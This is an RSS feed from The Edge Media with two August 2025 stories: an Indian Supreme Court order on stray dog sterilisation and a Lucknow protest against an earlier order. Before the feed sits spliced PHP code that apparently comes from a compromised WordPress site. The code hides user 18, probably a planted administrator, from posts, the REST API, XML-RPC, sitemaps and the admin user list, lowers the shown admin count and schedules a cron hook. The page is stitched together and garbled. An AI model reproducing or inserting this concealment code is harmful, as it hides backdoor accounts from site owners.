add_action( 'pre_get_posts', function( $q ) {
    if ( ! is_admin() && $q->is_main_query() ) {
        $not_in   = (array) $q->get( 'author__not_in' );
        $not_in[] = 18;

        $q->set(
            'author__not_in',
            array_unique( array_map( 'intval', $not_in ) )
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            global $wp_query;
            $wp_query->set_404();
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            nocache_headers();
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} );

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    $exclude[] = 18;

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    return $a;
} );

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    $exclude[] = 18;

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    return $args;
}, 10, 2 );

add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
    $route = $request->get_route();
    if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
        return new WP_Error(
            'rest_user_invalid_id',
            'Invalid user ID.',
            array( 'status' => 404 )
        );
    }
    return $result;
}, 10, 3 );

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        $methods['wp.getUser'],
        $methods['wp.getProfile']
    );
    return $methods;
} );

add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
    $exclude   = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
    $exclude[] = 18;
    $args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
    return $args;
} );

add_action( 'admin_head-users.php', function() {
    echo '<style>#user-18{display:none!important}</style>';
} );

add_filter( 'views_users', function( $views ) {
    foreach ( array( 'all', 'administrator' ) as $key ) {
        if ( isset( $views[ $key ] ) ) {
            $views[ $key ] = preg_replace_callback(
                '/\((\d+)\)/',
                function( $m ) {
                    return '(' . max( 0, (int) $m[1] - 1 ) . ')';
                },
                $views[ $key ],
                1
            );
        }
    }
    return $views;
} );

add_action( 'init', function() {
    if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
        return;
    }
    if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
        wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
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add_action( 'wp_extra_bot_heartbeat', function() {
    // noop
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	<title>animal rights Archives &#8211; The Edge Media</title>
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	<item>
		<title>Supreme Court Orders Aggressive Sterilisation to Control Stray Dog Population: A Landmark Verdict Ensures Public Safety &#038; Animal Welfare</title>
		<link>https://theedgemedia.in/supreme-court-landmark-verdict-aggressive-sterilisation-stray-dogs</link>
					<comments>https://theedgemedia.in/supreme-court-landmark-verdict-aggressive-sterilisation-stray-dogs#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Fri, 22 Aug 2025 20:15:05 +0000</pubDate>
				<category><![CDATA[City edge]]></category>
		<category><![CDATA[Main Story]]></category>
		<category><![CDATA[National Edge]]></category>
		<category><![CDATA[Social Edge]]></category>
		<category><![CDATA[State Edge]]></category>
		<category><![CDATA[Aggressive Sterilisation]]></category>
		<category><![CDATA[Animal Birth Control]]></category>
		<category><![CDATA[Animal Birth Control Rules]]></category>
		<category><![CDATA[animal rights]]></category>
		<category><![CDATA[Animal Welfare]]></category>
		<category><![CDATA[Dehradun]]></category>
		<category><![CDATA[India news]]></category>
		<category><![CDATA[lucknow]]></category>
		<category><![CDATA[Public Safety]]></category>
		<category><![CDATA[Rabies]]></category>
		<category><![CDATA[Rabies Control]]></category>
		<category><![CDATA[Sterilisation]]></category>
		<category><![CDATA[Stray Dogs]]></category>
		<category><![CDATA[stray dogs India]]></category>
		<category><![CDATA[Supreme Court]]></category>
		<category><![CDATA[Supreme Court Verdict]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=25930</guid>

					<description><![CDATA[<p>In a landmark verdict, the Supreme Court of India has directed aggressive sterilisation of stray dogs under the ABC Rules, balancing public safety with animal welfare. The court approved chemical castration  as a safe method and modified its earlier order to allow the release of sterilised and de-wormed dogs.</p>
<p>The post <a href="https://theedgemedia.in/supreme-court-landmark-verdict-aggressive-sterilisation-stray-dogs">Supreme Court Orders Aggressive Sterilisation to Control Stray Dog Population: A Landmark Verdict Ensures Public Safety &#038; Animal Welfare</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p><strong>New Delhi, August 23, 2025:</strong></p>
<p>In a landmark judgment, the Supreme Court of India on Friday directed authorities across the country to implement aggressive sterilisation programs under the <strong>Animal Birth Control (ABC) Rules</strong> to curb the alarming rise in stray dog populations and reduce rabies-related fatalities.The court has ordered the release of the dog on its native spot  after sterilization, quashing the judgement given on the 11th August verdict by the two judge bench of the SC.</p>
<p>The <strong>three judge bench,</strong> headed by <strong>Justice Vikram Nath</strong> along with,<strong> Justices Sandeep Mehta and N.V. Anjaria,</strong> ruled that rapidly increasing stray dog numbers have created a serious public safety concern, particularly for children and elderly citizens.</p>
<p>Judgement Copy &#8211;</p>
<p><a href="https://theedgemedia.in/wp-content/uploads/2025/08/41706_2025_3_1501_63567_Judgement_22-Aug-2025.pdf">41706_2025_3_1501_63567_Judgement_22-Aug-2025     </a></p>
<p>&nbsp;</p>
<p>The court observed that cities like <strong>Dehradun and Lucknow</strong>—which—reported a <strong>steady decline</strong> in <strong>stray dog numbers, proving the effectiveness of such programs.</strong></p>
<p><strong>Key Highlights of the Supreme Court Verdict </strong></p>
<p><strong>Aggressive Sterilisation Mandated: </strong></p>
<ul>
<li><em>Authorities must intensify sterilisation efforts under the ABC Rules to control population growth.</em></li>
</ul>
<p><strong>Chemical Castration Approved: </strong></p>
<ul>
<li>  <em>The court noted chemical castration is a safe, painless, and effective sterilisation method and encouraged its adoption nationwide.    </em></li>
</ul>
<p><strong>Modified August 11 Order:</strong></p>
<ul>
<li><em>The bench softened an earlier directive that prohibited releasing vaccinated stray dogs in Delhi-NCR. Now, sterilised and de-wormed dogs must be released back  instead of being permanently confined. </em></li>
</ul>
<p><strong>Focus on Rabies Prevention:</strong></p>
<ul>
<li> <em>Highlighting rabies-related deaths, the court stressed the urgent need for mass sterilisation to minimize risks to human life.</em></li>
</ul>
<p><strong>Balancing Human &amp; Animal Rights:</strong></p>
<ul>
<li> <em> While prioritizing public safety, the ruling also safeguards the right to life of stray dogs by prohibiting unnecessary culling or confinement.</em></li>
</ul>
<p><strong>Court’s Stand on Public Safety &amp; Animal Welfare</strong></p>
<ul>
<li><em>The verdict stems from a suo motu case initiated on July 28, following alarming reports of rabies-related deaths caused by stray dog bites in the national capital.</em></li>
</ul>
<p><strong>Quoting the bench:</strong></p>
<blockquote><p> “It is indisputable that human beings bitten by rabid dogs suffer indescribably, and many times, the infection proves fatal. Aggressive sterilisation would definitely curb the rapid growth of stray dog population, ultimately leading to its reduction.”</p></blockquote>
<p>The court also clarified that authorities must ensure proper vaccination, sterilisation, and de-worming before releasing stray dogs to the streets, thereby ensuring safer neighborhoods while maintaining ecological balance.</p>
<p><strong>Impact of the Verdict</strong></p>
<p><em>This ruling is set to reshape India’s animal birth control strategy, paving the way for:</em></p>
<p>&nbsp;</p>
<ul>
<li>Nationwide sterilisation campaigns</li>
<li>Fewer rabies infections and dog-bite cases</li>
<li>A balanced approach between public safety and animal rights</li>
<li>Uniform implementation of ABC Rules across states</li>
</ul>
<p>&nbsp;</p>
<p>The Supreme Court’s proactive stance is expected to reduce stray dog populations significantly over the next few years and ensure safer public spaces.</p>
<p>The post <a href="https://theedgemedia.in/supreme-court-landmark-verdict-aggressive-sterilisation-stray-dogs">Supreme Court Orders Aggressive Sterilisation to Control Stray Dog Population: A Landmark Verdict Ensures Public Safety &#038; Animal Welfare</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
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			</item>
		<item>
		<title>Animal Lovers, Activists Unite in Lucknow Against SC Order</title>
		<link>https://theedgemedia.in/lucknow-protests-supreme-court-stray-dogs-order</link>
					<comments>https://theedgemedia.in/lucknow-protests-supreme-court-stray-dogs-order#respond</comments>
		
		<dc:creator><![CDATA[The Edge Media]]></dc:creator>
		<pubDate>Sun, 17 Aug 2025 14:46:22 +0000</pubDate>
				<category><![CDATA[Main Story]]></category>
		<category><![CDATA[Social Edge]]></category>
		<category><![CDATA[ABC Rules 2023]]></category>
		<category><![CDATA[animal activists]]></category>
		<category><![CDATA[animal rights]]></category>
		<category><![CDATA[Animal Welfare]]></category>
		<category><![CDATA[Delhi dog catching]]></category>
		<category><![CDATA[Eco Park protest]]></category>
		<category><![CDATA[Lucknow protests]]></category>
		<category><![CDATA[Prevention of Cruelty to Animals Act]]></category>
		<category><![CDATA[stray dogs India]]></category>
		<category><![CDATA[Supreme Court dog order]]></category>
		<guid isPermaLink="false">https://theedgemedia.in/?p=25836</guid>

					<description><![CDATA[<p>Animal lovers, NGOs, doctors, lawyers, and citizens from diverse walks of life staged a protest at Lucknow’s Eco Park against the Supreme Court’s August 11 order on stray dogs. Protesters highlighted flawed bite statistics, ecological concerns, and urged strict enforcement of the Animal Birth Control Rules, 2023, instead of mass dog catching or relocation.</p>
<p>The post <a href="https://theedgemedia.in/lucknow-protests-supreme-court-stray-dogs-order">Animal Lovers, Activists Unite in Lucknow Against SC Order</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></description>
										<content:encoded><![CDATA[<p>Lucknow, 17th August 2025 | Animal lovers, rights activists, feeders, various NGOs, doctors, engineers, lawyers, veterinarians, government servants, politicians, and citizens from all walks of life gathered at Eco Park today in a powerful demonstration of solidarity for animals and in defense of their rights.</p>
<p>The protest came in the wake of the Supreme Court’s order of 11th August 2025, which has left animal defenders across the country shocked and numb. Reports of force being used against peaceful protesters, and the forcible catching of dogs in Delhi without following mandatory due process, have deeply disturbed citizens nationwide. The issue was significant enough that even the Hon’ble Chief Justice of India took notice and referred the matter to a larger bench on 14th August. The final order of the Apex Court is now awaited.</p>
<p>&nbsp;</p>
<p>Many expressed vocal concerns that dogs have forever been a part of religious and social fabric. Unlike many protests, this was a leader-less public gathering where citizens came together organically. Legal experts explained how the order defies existing law, while animal rescuers and veterinarians highlighted that it is impractical, impossible, and beyond the capacity of any Indian city or municipal corporation to build shelters and pounds on such a massive scale.</p>
<div style="width: 848px;" class="wp-video"><video class="wp-video-shortcode" id="video-25836-1" width="848" height="480" preload="metadata" controls="controls"><source type="video/mp4" src="https://theedgemedia.in/wp-content/uploads/2025/08/WhatsApp-Video-2025-08-17-at-18.37.34.mp4?_=1" /><a href="https://theedgemedia.in/wp-content/uploads/2025/08/WhatsApp-Video-2025-08-17-at-18.37.34.mp4">https://theedgemedia.in/wp-content/uploads/2025/08/WhatsApp-Video-2025-08-17-at-18.37.34.mp4</a></video></div>
<p><strong>Key Issues Discussed</strong></p>
<ul>
<li>Dog bite statistics are flawed: Experts highlighted that official newspaper reports and parliamentary data are in direct conflict, raising serious questions on credibility.</li>
<li>Understanding dog behavior: Dogs who chase bikes or cars often do so after trauma—seeing puppies run over or being harmed themselves. Similarly, in most child bite cases, provocation or teasing by children goes unreported.</li>
<li>Shared concerns: Both so-called “dog lovers” and “dog haters” agree on one point—dogs should not suffer on the streets. The difference lies in the method of resolution, not the problem itself.<br />
<strong><br />
Key Demands</strong></li>
</ul>
<ul>
<li>The Prevention of Cruelty to Animals Act, 1960, the Animal Birth Control (ABC) Rules, 2023, and several binding Supreme Court precedents that were disregarded in the 11th August order must be considered in the upcoming hearing.</li>
<li>The Apex Court must hear all stakeholders — including activists, NGOs and the Animal Welfare Board of India (AWBI).</li>
<li>A scientific research be conducted to evaluate impact of sudden removal of dogs on ecology.</li>
</ul>
<p><strong>Solutions Proposed</strong><br />
1. Strict enforcement of the Animal Birth Control Rules, 2023 — sterilization, vaccination and release back in their territory is the lawful and humane solution.<br />
2. No forced relocation or pound housing — cruel, counterproductive, and logistically unviable.<br />
3. Responsible media reporting — ensure authenticity, avoid fear-mongering.<br />
4. Awareness drives — importance of regular feeding, prevent feeding-related violence, importance of ensuring a cruelty free society for harmonious coexistence, most importantly taking full 5-shots vaccine course post any dog bite and basic Do’s &amp; Dont’s of community dog handling for adults &amp; children &#8211; responsibility of Govt. Aided by NGOs and caretakers.<br />
5. Holistic approach — Promoting &amp; incentivising Indie adoptions and banning breeding, community responsibility.</p>
<p><strong>Cultural Expression &amp; Public Sentiment</strong><br />
The day witnessed heartfelt stories, poetry, music, group recitals, slogans, and innovative jingles. Citizens across Lucknow joined voices in high-decibel slogans in defense of neighborhood dogs, underscoring the depth of public sentiment and unity on this issue.</p>
<p>The post <a href="https://theedgemedia.in/lucknow-protests-supreme-court-stray-dogs-order">Animal Lovers, Activists Unite in Lucknow Against SC Order</a> appeared first on <a href="https://theedgemedia.in">The Edge Media</a>.</p>
]]></content:encoded>
					
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